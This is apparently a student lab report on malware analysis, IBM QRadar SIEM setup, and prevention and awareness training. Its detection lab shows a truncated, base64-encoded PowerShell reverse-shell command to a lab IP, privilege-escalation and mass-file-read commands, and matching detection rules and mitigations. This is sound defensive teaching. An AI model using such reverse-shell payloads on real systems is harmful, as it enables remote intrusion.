Malware analysis and prevention strategies

Week 1 – Malware Analysis

Malware Types

Viruses, Worms, Trojans, Ransomware, Rootkits, Spyware

Tools Used

VirusTotal, Any.Run, Wireshark, Process Monitor

Focus Areas

- Infection vectors
- Payload behavior
- Detection & impact

Deliverables

Analysis report + presentation

Week 2 – SIEM configuration

Installing and Configuring IBM QRadar with WinCollect for Log Collection

. Lab Requirements

Hardware

- Ubuntu machine with VMware Workstation installed
- Windows 10/11 or Windows Server machine

Software

- IBM QRadar Community Edition OVA file
- WinCollect Agent Installer

3. Installing QRadar CE on Ubuntu (via VM)

Step 1: Download QRadar CE

- Navigate to IBM Website
- Download the OVA image for QRadar CE

Step 2: Deploy the OVA

- Import the OVA into VMware
- Allocate the following resources:
    - RAM: 16 GB
    - CPU: 4 cores
    - Disk: 250 GB

Step 3: Initial Setup

- Start the VM and login using:
    - Username: root
    - Password: sword2025

- Run the configuration script:
- /opt/qradar/support/all_servers.sh
- Access the QRadar web interface at https://<192.168.1.11>
- Login with:
    - Username: admin
    - Password: sword2025
    - Entering new password
    - Sword2025@

4. Installing WinCollect and Wincollect Stand alone Patch installer on Windows

Step 1: Download the WinCollect Agent and The patch installer

- From the QRadar GUI: Admin > WinCollect > Download Agent
- Alternatively, download from IBM Fix Central (requires IBM ID)

Step 2: Install WinCollect

- Run the installer on the Windows machine
- Choose installation type:
    - Managed (for direct configuration from QRadar)

  - Stand-alone (for manual configuration)
- Input the QRadar IP address when prompted

Step 3: Configure Event Log Sources

- Choose which logs to forward:
  - Security
  - System
  - Application
- Save configuration and complete installation

5. Configuring QRadar to Receive Logs

Step 1: Add a New Log Source

- Navigate to Admin > Log Sources > Add
- Enter the following:
  - Log Source Type: WinCollect
  - Protocol: Syslog
  - Log Source Identifier: Hostname or IP of the Windows machine
- Enable Auto Detection if desired
- Save the new log source

Step 2: Ensure Syslog Port is Accessible

- Verify that ports UDP/514 and TCP/514 are open on the QRadar host
- Ensure firewalls do not block incoming log traffic

6. Verifying Log Collection

Step 1: Generate Logs on Windows

- Open Event Viewer

- Trigger events (e.g., login attempts to generate Event IDs like 4624 or 4625)

Step 2: Check QRadar Log Activity

- Go to Log Activity
- Filter by the Windows machine IP or hostname
- Confirm log entries are being received and parsed correctly
- Lab Purpose: Detection and analysis of simulated malicious behavior on Windows
- Log Source: Windows 10 VM (192.168.1.6)
- SIEM: IBM QRadar

1. Simulated Reverse Shell Execution

- Payload Summary (PowerShell):

-
  ```
  $cmd = 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',1337);..."'
  $encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd))
  powershell.exe -EncodedCommand $encoded
  ```
- Logs Observed:
- - Event ID 4104: PowerShell script block logging
  - Sysmon Event ID 1: Process creation (powershell.exe with -EncodedCommand)
  - Sysmon Event ID 3: Possible outbound TCP connection
- Alert Recommendation:
- Rule Name: Obfuscated Reverse Shell via Encoded PowerShell
  QRadar Rule Logic:
  - Event contains 'powershell.exe' AND '-EncodedCommand'
  - OR Event contains 'System.Net.Sockets.TCPClient'
  - Source IP = Internal, Destination IP ≠ QRadar
- Mitigation:
- - Enable PowerShell logging (Module + ScriptBlock)
  - Block outbound traffic on uncommon ports (e.g., 1337)
  - Use AppLocker or WDAC to block encoded commands
  - Alert on suspicious PowerShell command line arguments

- 2. Privilege Escalation Attempt
- Simulation:
- Start-Process powershell -Verb runAs
- Logs Observed:
- - Windows Event ID 4672: Special privileges assigned
  - Event ID 4688: New process created with elevated token
  - Sysmon ID 1 (optional): Process tree showing elevation
- Alert Recommendation:
- Rule Name: Suspicious Privilege Escalation Attempt
  QRadar Rule Logic:
  - Process creation with 'IntegrityLevel = High' AND 'ParentProcess' is user-initiated
  - Event ID 4672 followed by 4688 within a short time
- Mitigation:
- - Require password on UAC prompts
  - Monitor for suspicious use of runAs or elevation requests
  - Enable audit logon and privilege use events

- 3. Mass File Access (Recon or Ransomware Behavior)
- Simulation:
- Get-ChildItem -Recurse C:\Windows\System32 | ForEach-Object { Get-Content $_.FullName -ErrorAction SilentlyContinue }
- Logs Observed:
- - Sysmon Event ID 11: File access logs for many files
  - High event volume in a short time
  - Possibly flagged as abnormal by behavioral rules

- Alert Recommendation:
- Rule Name: Unusual File Access Volume
  QRadar Rule Logic:
  - >50 Sysmon ID 11 events from the same process/user in 1 minute
  - Directory = C:\Windows, C:\Users, or C:\Program Files

- Mitigation:

  - Monitor for burst file reads
  - Enable file integrity monitoring (FIM)
  - Block or alert on unknown PowerShell scripts accessing sensitive directories

Week 3 – Prevention Strategy & Awareness Training

1.1 Technical Controls A. Endpoint Protection

A. Endpoint Protection

• Deploy next-gen antivirus (NGAV) and Endpoint Detection & Response (EDR) solutions (e.g., CrowdStrike, SentinelOne).

• Enable real-time scanning and behavioral analysis to detect zero-day threats.
• Use application whitelisting to block unauthorized software execution.

B. Network Security
• Implement firewalls (hardware/software) with intrusion prevention (IPS).
• Segment networks to limit lateral movement of malware.
• Monitor traffic for anomalies using SIEM (e.g., IBM QRadar, Splunk).

C. Patch & Vulnerability Management
• Automate patch deployment for OS, software, and firmware.
• Conduct monthly vulnerability scans and prioritize critical patches.
• Disable outdated protocols (e.g., SMBv1, RDP if unused).

D. Email & Web Security
• Deploy advanced email filtering (e.g., Proofpoint, Mimecast) to block phishing.
• Restrict access to malicious websites via DNS filtering (e.g., Cisco Umbrella).
• Use sandboxing to analyze suspicious attachments before delivery.

E. Backup & Recovery
• Follow the 3-2-1 backup rule: o 3 copies of data. o 2 different storage types (cloud + offline). o 1 offsite backup.
• Test restoration procedures quarterly.

1.2 Administrative Controls

- Enforce least privilege access (Zero Trust model).
- Disable macro execution in Office files by default.
- Monitor third-party vendors for supply chain risks.

1.3 Incident Response Plan

- Define roles and responsibilities for malware incidents.
- Establish containment, eradication, and recovery procedures.
- Conduct tabletop exercises biannually.

2. User Awareness Training Plan Training Goals

- Help users recognize threats (e.g., phishing, suspicious files).
- Teach them what to do if they suspect malware.
- Foster a culture of security awareness.

Training Format

- Short monthly online modules (10–15 mins)
- Quarterly live/virtual workshops
- Phishing simulations and feedback

Core Topics

1. What Is Malware?
   Viruses, ransomware, spyware, etc.
   How malware spreads (emails, websites, USBs)

2. Recognizing Phishing
   Check the sender's email address
   Look for misspellings, strange links, urgency

Hover over links before clicking

3. Safe Email & Web Habits

   Don’t open unknown attachments
   Don’t click links in unexpected emails
   Avoid downloading cracked software

4. Device Hygiene

   Lock devices when not in use
   Use strong, unique passwords
   Keep software and antivirus updated

5. What To Do If Something Seems Off

   Report suspicious activity immediately
   Don’t try to fix or delete things yourself
   Disconnect from the network if needed